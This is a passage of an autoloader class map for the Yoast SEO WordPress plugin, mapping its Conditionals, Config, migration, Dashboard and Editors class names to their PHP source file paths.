    'Yoast\\WP\\SEO\\Conditionals\\Admin\\Doing_Post_Quick_Edit_Save_Conditional' => $baseDir . '/src/conditionals/admin/doing-post-quick-edit-save-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Admin\\Estimated_Reading_Time_Conditional' => $baseDir . '/src/conditionals/admin/estimated-reading-time-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Admin\\Licenses_Page_Conditional' => $baseDir . '/src/conditionals/admin/licenses-page-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Admin\\Non_Network_Admin_Conditional' => $baseDir . '/src/conditionals/admin/non-network-admin-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Admin\\Post_Conditional' => $baseDir . '/src/conditionals/admin/post-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Admin\\Posts_Overview_Or_Ajax_Conditional' => $baseDir . '/src/conditionals/admin/posts-overview-or-ajax-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Admin\\Yoast_Admin_Conditional' => $baseDir . '/src/conditionals/admin/yoast-admin-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Admin_Conditional' => $baseDir . '/src/conditionals/admin-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Attachment_Redirections_Enabled_Conditional' => $baseDir . '/src/conditionals/attachment-redirections-enabled-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Check_Required_Version_Conditional' => $baseDir . '/src/conditionals/check-required-version-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Conditional' => $baseDir . '/src/conditionals/conditional-interface.php',
    'Yoast\\WP\\SEO\\Conditionals\\Deactivating_Yoast_Seo_Conditional' => $baseDir . '/src/conditionals/deactivating-yoast-seo-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Development_Conditional' => $baseDir . '/src/conditionals/development-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Feature_Flag_Conditional' => $baseDir . '/src/conditionals/feature-flag-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Front_End_Conditional' => $baseDir . '/src/conditionals/front-end-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Get_Request_Conditional' => $baseDir . '/src/conditionals/get-request-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Headless_Rest_Endpoints_Enabled_Conditional' => $baseDir . '/src/conditionals/headless-rest-endpoints-enabled-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Import_Tool_Selected_Conditional' => $baseDir . '/src/conditionals/import-tool-selected-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Jetpack_Conditional' => $baseDir . '/src/conditionals/jetpack-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Migrations_Conditional' => $baseDir . '/src/conditionals/migrations-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\New_Settings_Ui_Conditional' => $baseDir . '/src/conditionals/new-settings-ui-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\News_Conditional' => $baseDir . '/src/conditionals/news-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\No_Conditionals' => $baseDir . '/src/conditionals/no-conditionals-trait.php',
    'Yoast\\WP\\SEO\\Conditionals\\No_Tool_Selected_Conditional' => $baseDir . '/src/conditionals/no-tool-selected-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Non_Multisite_Conditional' => $baseDir . '/src/conditionals/non-multisite-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Not_Admin_Ajax_Conditional' => $baseDir . '/src/conditionals/not-admin-ajax-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Open_Graph_Conditional' => $baseDir . '/src/conditionals/open-graph-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Premium_Active_Conditional' => $baseDir . '/src/conditionals/premium-active-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Premium_Inactive_Conditional' => $baseDir . '/src/conditionals/premium-inactive-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Primary_Category_Conditional' => $baseDir . '/src/conditionals/primary-category-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Robots_Txt_Conditional' => $baseDir . '/src/conditionals/robots-txt-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\SEMrush_Enabled_Conditional' => $baseDir . '/src/conditionals/semrush-enabled-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Settings_Conditional' => $baseDir . '/src/conditionals/settings-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Should_Index_Links_Conditional' => $baseDir . '/src/conditionals/should-index-links-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Text_Formality_Conditional' => $baseDir . '/src/conditionals/text-formality-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Elementor_Activated_Conditional' => $baseDir . '/src/conditionals/third-party/elementor-activated-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Elementor_Edit_Conditional' => $baseDir . '/src/conditionals/third-party/elementor-edit-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Polylang_Conditional' => $baseDir . '/src/conditionals/third-party/polylang-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\TranslatePress_Conditional' => $baseDir . '/src/conditionals/third-party/translatepress-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\W3_Total_Cache_Conditional' => $baseDir . '/src/conditionals/third-party/w3-total-cache-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\WPML_Conditional' => $baseDir . '/src/conditionals/third-party/wpml-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\WPML_WPSEO_Conditional' => $baseDir . '/src/conditionals/third-party/wpml-wpseo-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Wordproof_Integration_Active_Conditional' => $baseDir . '/src/deprecated/src/conditionals/third-party/wordproof-integration-active-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Third_Party\\Wordproof_Plugin_Inactive_Conditional' => $baseDir . '/src/deprecated/src/conditionals/third-party/wordproof-plugin-inactive-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Traits\\Admin_Conditional_Trait' => $baseDir . '/src/conditionals/traits/admin-conditional-trait.php',
    'Yoast\\WP\\SEO\\Conditionals\\Updated_Importer_Framework_Conditional' => $baseDir . '/src/conditionals/updated-importer-framework-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\User_Can_Edit_Users_Conditional' => $baseDir . '/src/conditionals/user-can-edit-users-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\User_Can_Manage_Wpseo_Options_Conditional' => $baseDir . '/src/conditionals/user-can-manage-wpseo-options-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\User_Can_Publish_Posts_And_Pages_Conditional' => $baseDir . '/src/conditionals/user-can-publish-posts-and-pages-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\User_Edit_Conditional' => $baseDir . '/src/conditionals/user-edit-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\User_Profile_Conditional' => $baseDir . '/src/conditionals/user-profile-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\WP_CRON_Enabled_Conditional' => $baseDir . '/src/conditionals/wp-cron-enabled-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\WP_Robots_Conditional' => $baseDir . '/src/conditionals/wp-robots-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Web_Stories_Conditional' => $baseDir . '/src/conditionals/web-stories-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Wincher_Automatically_Track_Conditional' => $baseDir . '/src/conditionals/wincher-automatically-track-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Wincher_Conditional' => $baseDir . '/src/conditionals/wincher-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Wincher_Enabled_Conditional' => $baseDir . '/src/conditionals/wincher-enabled-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Wincher_Token_Conditional' => $baseDir . '/src/conditionals/wincher-token-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\WooCommerce_Conditional' => $baseDir . '/src/conditionals/woocommerce-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\XMLRPC_Conditional' => $baseDir . '/src/conditionals/xmlrpc-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Yoast_Admin_And_Dashboard_Conditional' => $baseDir . '/src/conditionals/yoast-admin-and-dashboard-conditional.php',
    'Yoast\\WP\\SEO\\Conditionals\\Yoast_Tools_Page_Conditional' => $baseDir . '/src/conditionals/yoast-tools-page-conditional.php',
    'Yoast\\WP\\SEO\\Config\\Badge_Group_Names' => $baseDir . '/src/config/badge-group-names.php',
    'Yoast\\WP\\SEO\\Config\\Conflicting_Plugins' => $baseDir . '/src/config/conflicting-plugins.php',
    'Yoast\\WP\\SEO\\Config\\Indexing_Reasons' => $baseDir . '/src/config/indexing-reasons.php',
    'Yoast\\WP\\SEO\\Config\\Migration_Status' => $baseDir . '/src/config/migration-status.php',
    'Yoast\\WP\\SEO\\Config\\Migrations\\AddCollationToTables' => $baseDir . '/src/config/migrations/20200408101900_AddCollationToTables.php',
    'Yoast\\WP\\SEO\\Config\\Migrations\\AddColumnsToIndexables' => $baseDir . '/src/config/migrations/20200420073606_AddColumnsToIndexables.php',
    'Yoast\\WP\\SEO\\Config\\Migrations\\AddEstimatedReadingTime' => $baseDir . '/src/config/migrations/20201202144329_AddEstimatedReadingTime.php',
    'Yoast\\WP\\SEO\\Config\\Migrations\\AddHasAncestorsColumn' => $baseDir . '/src/config/migrations/20200609154515_AddHasAncestorsColumn.php',
    'Yoast\\WP\\SEO\\Config\\Migrations\\AddInclusiveLanguageScore' => $baseDir . '/src/config/migrations/20230417083836_AddInclusiveLanguageScore.php',
    'Yoast\\WP\\SEO\\Config\\Migrations\\AddIndexableObjectIdAndTypeIndex' => $baseDir . '/src/config/migrations/20200430075614_AddIndexableObjectIdAndTypeIndex.php',
    'Yoast\\WP\\SEO\\Config\\Migrations\\AddIndexesForProminentWordsOnIndexables' => $baseDir . '/src/config/migrations/20200728095334_AddIndexesForProminentWordsOnIndexables.php',
    'Yoast\\WP\\SEO\\Config\\Migrations\\AddObjectTimestamps' => $baseDir . '/src/config/migrations/20211020091404_AddObjectTimestamps.php',
    'Yoast\\WP\\SEO\\Config\\Migrations\\AddVersionColumnToIndexables' => $baseDir . '/src/config/migrations/20210817092415_AddVersionColumnToIndexables.php',
    'Yoast\\WP\\SEO\\Config\\Migrations\\BreadcrumbTitleAndHierarchyReset' => $baseDir . '/src/config/migrations/20200428123747_BreadcrumbTitleAndHierarchyReset.php',
    'Yoast\\WP\\SEO\\Config\\Migrations\\ClearIndexableTables' => $baseDir . '/src/config/migrations/20200430150130_ClearIndexableTables.php',
    'Yoast\\WP\\SEO\\Config\\Migrations\\CreateIndexableSubpagesIndex' => $baseDir . '/src/config/migrations/20200702141921_CreateIndexableSubpagesIndex.php',
    'Yoast\\WP\\SEO\\Config\\Migrations\\CreateSEOLinksTable' => $baseDir . '/src/config/migrations/20200617122511_CreateSEOLinksTable.php',
    'Yoast\\WP\\SEO\\Config\\Migrations\\DeleteDuplicateIndexables' => $baseDir . '/src/config/migrations/20200507054848_DeleteDuplicateIndexables.php',
    'Yoast\\WP\\SEO\\Config\\Migrations\\ExpandIndexableColumnLengths' => $baseDir . '/src/config/migrations/20200428194858_ExpandIndexableColumnLengths.php',
    'Yoast\\WP\\SEO\\Config\\Migrations\\ExpandIndexableIDColumnLengths' => $baseDir . '/src/config/migrations/20201216124002_ExpandIndexableIDColumnLengths.php',
    'Yoast\\WP\\SEO\\Config\\Migrations\\ExpandPrimaryTermIDColumnLengths' => $baseDir . '/src/config/migrations/20201216141134_ExpandPrimaryTermIDColumnLengths.php',
    'Yoast\\WP\\SEO\\Config\\Migrations\\ReplacePermalinkHashIndex' => $baseDir . '/src/config/migrations/20200616130143_ReplacePermalinkHashIndex.php',
    'Yoast\\WP\\SEO\\Config\\Migrations\\ResetIndexableHierarchyTable' => $baseDir . '/src/config/migrations/20200513133401_ResetIndexableHierarchyTable.php',
    'Yoast\\WP\\SEO\\Config\\Migrations\\TruncateIndexableTables' => $baseDir . '/src/config/migrations/20200429105310_TruncateIndexableTables.php',
    'Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastDropIndexableMetaTableIfExists' => $baseDir . '/src/config/migrations/20190529075038_WpYoastDropIndexableMetaTableIfExists.php',
    'Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastIndexable' => $baseDir . '/src/config/migrations/20171228151840_WpYoastIndexable.php',
    'Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastIndexableHierarchy' => $baseDir . '/src/config/migrations/20191011111109_WpYoastIndexableHierarchy.php',
    'Yoast\\WP\\SEO\\Config\\Migrations\\WpYoastPrimaryTerm' => $baseDir . '/src/config/migrations/20171228151841_WpYoastPrimaryTerm.php',
    'Yoast\\WP\\SEO\\Config\\OAuth_Client' => $baseDir . '/src/config/oauth-client.php',
    'Yoast\\WP\\SEO\\Config\\Researcher_Languages' => $baseDir . '/src/config/researcher-languages.php',
    'Yoast\\WP\\SEO\\Config\\SEMrush_Client' => $baseDir . '/src/config/semrush-client.php',
    'Yoast\\WP\\SEO\\Config\\Schema_IDs' => $baseDir . '/src/config/schema-ids.php',
    'Yoast\\WP\\SEO\\Config\\Schema_Types' => $baseDir . '/src/config/schema-types.php',
    'Yoast\\WP\\SEO\\Config\\Wincher_Client' => $baseDir . '/src/config/wincher-client.php',
    'Yoast\\WP\\SEO\\Config\\Wincher_PKCE_Provider' => $baseDir . '/src/config/wincher-pkce-provider.php',
    'Yoast\\WP\\SEO\\Config\\Wordproof_App_Config' => $baseDir . '/src/deprecated/src/config/wordproof-app-config.php',
    'Yoast\\WP\\SEO\\Config\\Wordproof_Translations' => $baseDir . '/src/deprecated/src/config/wordproof-translations.php',
    'Yoast\\WP\\SEO\\Content_Type_Visibility\\Application\\Content_Type_Visibility_Dismiss_Notifications' => $baseDir . '/src/content-type-visibility/application/content-type-visibility-dismiss-notifications.php',
    'Yoast\\WP\\SEO\\Content_Type_Visibility\\Application\\Content_Type_Visibility_Watcher_Actions' => $baseDir . '/src/content-type-visibility/application/content-type-visibility-watcher-actions.php',
    'Yoast\\WP\\SEO\\Content_Type_Visibility\\User_Interface\\Content_Type_Visibility_Dismiss_New_Route' => $baseDir . '/src/content-type-visibility/user-interface/content-type-visibility-dismiss-new-route.php',
    'Yoast\\WP\\SEO\\Context\\Meta_Tags_Context' => $baseDir . '/src/context/meta-tags-context.php',
    'Yoast\\WP\\SEO\\Dashboard\\Application\\Configuration\\Dashboard_Configuration' => $baseDir . '/src/dashboard/application/configuration/dashboard-configuration.php',
    'Yoast\\WP\\SEO\\Dashboard\\Application\\Content_Types\\Content_Types_Repository' => $baseDir . '/src/dashboard/application/content-types/content-types-repository.php',
    'Yoast\\WP\\SEO\\Dashboard\\Application\\Endpoints\\Endpoints_Repository' => $baseDir . '/src/dashboard/application/endpoints/endpoints-repository.php',
    'Yoast\\WP\\SEO\\Dashboard\\Application\\Filter_Pairs\\Filter_Pairs_Repository' => $baseDir . '/src/dashboard/application/filter-pairs/filter-pairs-repository.php',
    'Yoast\\WP\\SEO\\Dashboard\\Application\\Score_Results\\Abstract_Score_Results_Repository' => $baseDir . '/src/dashboard/application/score-results/abstract-score-results-repository.php',
    'Yoast\\WP\\SEO\\Dashboard\\Application\\Score_Results\\Current_Scores_Repository' => $baseDir . '/src/dashboard/application/score-results/current-scores-repository.php',
    'Yoast\\WP\\SEO\\Dashboard\\Application\\Score_Results\\Readability_Score_Results\\Readability_Score_Results_Repository' => $baseDir . '/src/dashboard/application/score-results/readability-score-results/readability-score-results-repository.php',
    'Yoast\\WP\\SEO\\Dashboard\\Application\\Score_Results\\SEO_Score_Results\\SEO_Score_Results_Repository' => $baseDir . '/src/dashboard/application/score-results/seo-score-results/seo-score-results-repository.php',
    'Yoast\\WP\\SEO\\Dashboard\\Application\\Taxonomies\\Taxonomies_Repository' => $baseDir . '/src/dashboard/application/taxonomies/taxonomies-repository.php',
    'Yoast\\WP\\SEO\\Dashboard\\Domain\\Content_Types\\Content_Type' => $baseDir . '/src/dashboard/domain/content-types/content-type.php',
    'Yoast\\WP\\SEO\\Dashboard\\Domain\\Content_Types\\Content_Types_List' => $baseDir . '/src/dashboard/domain/content-types/content-types-list.php',
    'Yoast\\WP\\SEO\\Dashboard\\Domain\\Endpoint\\Endpoint_Interface' => $baseDir . '/src/dashboard/domain/endpoint/endpoint-interface.php',
    'Yoast\\WP\\SEO\\Dashboard\\Domain\\Endpoint\\Endpoint_List' => $baseDir . '/src/dashboard/domain/endpoint/endpoint-list.php',
    'Yoast\\WP\\SEO\\Dashboard\\Domain\\Filter_Pairs\\Filter_Pairs_Interface' => $baseDir . '/src/dashboard/domain/filter-pairs/filter-pairs-interface.php',
    'Yoast\\WP\\SEO\\Dashboard\\Domain\\Filter_Pairs\\Product_Category_Filter_Pair' => $baseDir . '/src/dashboard/domain/filter-pairs/product-category-filter-pair.php',
    'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\Abstract_Score_Group' => $baseDir . '/src/dashboard/domain/score-groups/abstract-score-group.php',
    'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\Readability_Score_Groups\\Abstract_Readability_Score_Group' => $baseDir . '/src/dashboard/domain/score-groups/readability-score-groups/abstract-readability-score-group.php',
    'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\Readability_Score_Groups\\Bad_Readability_Score_Group' => $baseDir . '/src/dashboard/domain/score-groups/readability-score-groups/bad-readability-score-group.php',
    'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\Readability_Score_Groups\\Good_Readability_Score_Group' => $baseDir . '/src/dashboard/domain/score-groups/readability-score-groups/good-readability-score-group.php',
    'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\Readability_Score_Groups\\No_Readability_Score_Group' => $baseDir . '/src/dashboard/domain/score-groups/readability-score-groups/no-readability-score-group.php',
    'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\Readability_Score_Groups\\Ok_Readability_Score_Group' => $baseDir . '/src/dashboard/domain/score-groups/readability-score-groups/ok-readability-score-group.php',
    'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\Readability_Score_Groups\\Readability_Score_Groups_Interface' => $baseDir . '/src/dashboard/domain/score-groups/readability-score-groups/readability-score-groups-interface.php',
    'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\Abstract_SEO_Score_Group' => $baseDir . '/src/dashboard/domain/score-groups/seo-score-groups/abstract-seo-score-group.php',
    'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\Bad_SEO_Score_Group' => $baseDir . '/src/dashboard/domain/score-groups/seo-score-groups/bad-seo-score-group.php',
    'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\Good_SEO_Score_Group' => $baseDir . '/src/dashboard/domain/score-groups/seo-score-groups/good-seo-score-group.php',
    'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\No_SEO_Score_Group' => $baseDir . '/src/dashboard/domain/score-groups/seo-score-groups/no-seo-score-group.php',
    'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\Ok_SEO_Score_Group' => $baseDir . '/src/dashboard/domain/score-groups/seo-score-groups/ok-seo-score-group.php',
    'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\SEO_Score_Groups\\SEO_Score_Groups_Interface' => $baseDir . '/src/dashboard/domain/score-groups/seo-score-groups/seo-score-groups-interface.php',
    'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Groups\\Score_Groups_Interface' => $baseDir . '/src/dashboard/domain/score-groups/score-groups-interface.php',
    'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Results\\Current_Score' => $baseDir . '/src/dashboard/domain/score-results/current-score.php',
    'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Results\\Current_Scores_List' => $baseDir . '/src/dashboard/domain/score-results/current-scores-list.php',
    'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Results\\Score_Result' => $baseDir . '/src/dashboard/domain/score-results/score-result.php',
    'Yoast\\WP\\SEO\\Dashboard\\Domain\\Score_Results\\Score_Results_Not_Found_Exception' => $baseDir . '/src/dashboard/domain/score-results/score-results-not-found-exception.php',
    'Yoast\\WP\\SEO\\Dashboard\\Domain\\Taxonomies\\Taxonomy' => $baseDir . '/src/dashboard/domain/taxonomies/taxonomy.php',
    'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Content_Types\\Content_Types_Collector' => $baseDir . '/src/dashboard/infrastructure/content-types/content-types-collector.php',
    'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Endpoints\\Readability_Scores_Endpoint' => $baseDir . '/src/dashboard/infrastructure/endpoints/readability-scores-endpoint.php',
    'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Endpoints\\SEO_Scores_Endpoint' => $baseDir . '/src/dashboard/infrastructure/endpoints/seo-scores-endpoint.php',
    'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Nonces\\Nonce_Repository' => $baseDir . '/src/dashboard/infrastructure/nonces/nonce-repository.php',
    'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Score_Groups\\Score_Group_Link_Collector' => $baseDir . '/src/dashboard/infrastructure/score-groups/score-group-link-collector.php',
    'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Score_Results\\Readability_Score_Results\\Cached_Readability_Score_Results_Collector' => $baseDir . '/src/dashboard/infrastructure/score-results/readability-score-results/cached-readability-score-results-collector.php',
    'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Score_Results\\Readability_Score_Results\\Readability_Score_Results_Collector' => $baseDir . '/src/dashboard/infrastructure/score-results/readability-score-results/readability-score-results-collector.php',
    'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Score_Results\\SEO_Score_Results\\Cached_SEO_Score_Results_Collector' => $baseDir . '/src/dashboard/infrastructure/score-results/seo-score-results/cached-seo-score-results-collector.php',
    'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Score_Results\\SEO_Score_Results\\SEO_Score_Results_Collector' => $baseDir . '/src/dashboard/infrastructure/score-results/seo-score-results/seo-score-results-collector.php',
    'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Score_Results\\Score_Results_Collector_Interface' => $baseDir . '/src/dashboard/infrastructure/score-results/score-results-collector-interface.php',
    'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Taxonomies\\Taxonomies_Collector' => $baseDir . '/src/dashboard/infrastructure/taxonomies/taxonomies-collector.php',
    'Yoast\\WP\\SEO\\Dashboard\\Infrastructure\\Taxonomies\\Taxonomy_Validator' => $baseDir . '/src/dashboard/infrastructure/taxonomies/taxonomy-validator.php',
    'Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Scores\\Abstract_Scores_Route' => $baseDir . '/src/dashboard/user-interface/scores/abstract-scores-route.php',
    'Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Scores\\Readability_Scores_Route' => $baseDir . '/src/dashboard/user-interface/scores/readability-scores-route.php',
    'Yoast\\WP\\SEO\\Dashboard\\User_Interface\\Scores\\SEO_Scores_Route' => $baseDir . '/src/dashboard/user-interface/scores/seo-scores-route.php',
    'Yoast\\WP\\SEO\\Editors\\Application\\Analysis_Features\\Enabled_Analysis_Features_Repository' => $baseDir . '/src/editors/application/analysis-features/enabled-analysis-features-repository.php',
    'Yoast\\WP\\SEO\\Editors\\Application\\Integrations\\Integration_Information_Repository' => $baseDir . '/src/editors/application/integrations/integration-information-repository.php',
    'Yoast\\WP\\SEO\\Editors\\Application\\Seo\\Post_Seo_Information_Repository' => $baseDir . '/src/editors/application/seo/post-seo-information-repository.php',
    'Yoast\\WP\\SEO\\Editors\\Application\\Seo\\Term_Seo_Information_Repository' => $baseDir . '/src/editors/application/seo/term-seo-information-repository.php',
    'Yoast\\WP\\SEO\\Editors\\Application\\Site\\Website_Information_Repository' => $baseDir . '/src/editors/application/site/website-information-repository.php',
    'Yoast\\WP\\SEO\\Editors\\Domain\\Analysis_Features\\Analysis_Feature' => $baseDir . '/src/editors/domain/analysis-features/analysis-feature.php',
    'Yoast\\WP\\SEO\\Editors\\Domain\\Analysis_Features\\Analysis_Feature_Interface' => $baseDir . '/src/editors/domain/analysis-features/analysis-feature-interface.php',
    'Yoast\\WP\\SEO\\Editors\\Domain\\Analysis_Features\\Analysis_Features_List' => $baseDir . '/src/editors/domain/analysis-features/analysis-features-list.php',
    'Yoast\\WP\\SEO\\Editors\\Domain\\Integrations\\Integration_Data_Provider_Interface' => $baseDir . '/src/editors/domain/integrations/integration-data-provider-interface.php',
    'Yoast\\WP\\SEO\\Editors\\Domain\\Seo\\Description' => $baseDir . '/src/editors/domain/seo/description.php',
    'Yoast\\WP\\SEO\\Editors\\Domain\\Seo\\Keyphrase' => $baseDir . '/src/editors/domain/seo/keyphrase.php',
    'Yoast\\WP\\SEO\\Editors\\Domain\\Seo\\Seo_Plugin_Data_Interface' => $baseDir . '/src/editors/domain/seo/seo-plugin-data-interface.php',
    'Yoast\\WP\\SEO\\Editors\\Domain\\Seo\\Social' => $baseDir . '/src/editors/domain/seo/social.php',
    'Yoast\\WP\\SEO\\Editors\\Domain\\Seo\\Title' => $baseDir . '/src/editors/domain/seo/title.php',
    'Yoast\\WP\\SEO\\Editors\\Framework\\Cornerstone_Content' => $baseDir . '/src/editors/framework/cornerstone-content.php',
    'Yoast\\WP\\SEO\\Editors\\Framework\\Inclusive_Language_Analysis' => $baseDir . '/src/editors/framework/inclusive-language-analysis.php',
    'Yoast\\WP\\SEO\\Editors\\Framework\\Integrations\\Jetpack_Markdown' => $baseDir . '/src/editors/framework/integrations/jetpack-markdown.php',
    'Yoast\\WP\\SEO\\Editors\\Framework\\Integrations\\Multilingual' => $baseDir . '/src/editors/framework/integrations/multilingual.php',
    'Yoast\\WP\\SEO\\Editors\\Framework\\Integrations\\News_SEO' => $baseDir . '/src/editors/framework/integrations/news-seo.php',
    'Yoast\\WP\\SEO\\Editors\\Framework\\Integrations\\Semrush' => $baseDir . '/src/editors/framework/integrations/semrush.php',
    'Yoast\\WP\\SEO\\Editors\\Framework\\Integrations\\Wincher' => $baseDir . '/src/editors/framework/integrations/wincher.php',
    'Yoast\\WP\\SEO\\Editors\\Framework\\Integrations\\WooCommerce' => $baseDir . '/src/editors/framework/integrations/woocommerce.php',
    'Yoast\\WP\\SEO\\Editors\\Framework\\Integrations\\WooCommerce_SEO' => $baseDir . '/src/editors/framework/integrations/woocommerce-seo.php',
    'Yoast\\WP\\SEO\\Editors\\Framework\\Keyphrase_Analysis' => $baseDir . '/src/editors/framework/keyphrase-analysis.php',
    'Yoast\\WP\\SEO\\Editors\\Framework\\Previously_Used_Keyphrase' => $baseDir . '/src/editors/framework/previously-used-keyphrase.php',
    'Yoast\\WP\\SEO\\Editors\\Framework\\Readability_Analysis' => $baseDir . '/src/editors/framework/readability-analysis.php',
    'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Description_Data_Provider_Interface' => $baseDir . '/src/editors/framework/seo/description-data-provider-interface.php',
    'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Keyphrase_Interface' => $baseDir . '/src/editors/framework/seo/keyphrase-interface.php',
    'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Posts\\Abstract_Post_Seo_Data_Provider' => $baseDir . '/src/editors/framework/seo/posts/abstract-post-seo-data-provider.php',
    'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Posts\\Description_Data_Provider' => $baseDir . '/src/editors/framework/seo/posts/description-data-provider.php',
    'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Posts\\Keyphrase_Data_Provider' => $baseDir . '/src/editors/framework/seo/posts/keyphrase-data-provider.php',
    'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Posts\\Social_Data_Provider' => $baseDir . '/src/editors/framework/seo/posts/social-data-provider.php',
    'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Posts\\Title_Data_Provider' => $baseDir . '/src/editors/framework/seo/posts/title-data-provider.php',
    'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Social_Data_Provider_Interface' => $baseDir . '/src/editors/framework/seo/social-data-provider-interface.php',
    'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Terms\\Abstract_Term_Seo_Data_Provider' => $baseDir . '/src/editors/framework/seo/terms/abstract-term-seo-data-provider.php',
    'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Terms\\Description_Data_Provider' => $baseDir . '/src/editors/framework/seo/terms/description-data-provider.php',
    'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Terms\\Keyphrase_Data_Provider' => $baseDir . '/src/editors/framework/seo/terms/keyphrase-data-provider.php',
    'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Terms\\Social_Data_Provider' => $baseDir . '/src/editors/framework/seo/terms/social-data-provider.php',
    'Yoast\\WP\\SEO\\Editors\\Framework\\Seo\\Terms\\Title_Data_Provider' => $baseDir . '/src/editors/framework/seo/terms/title-data-provider.php',
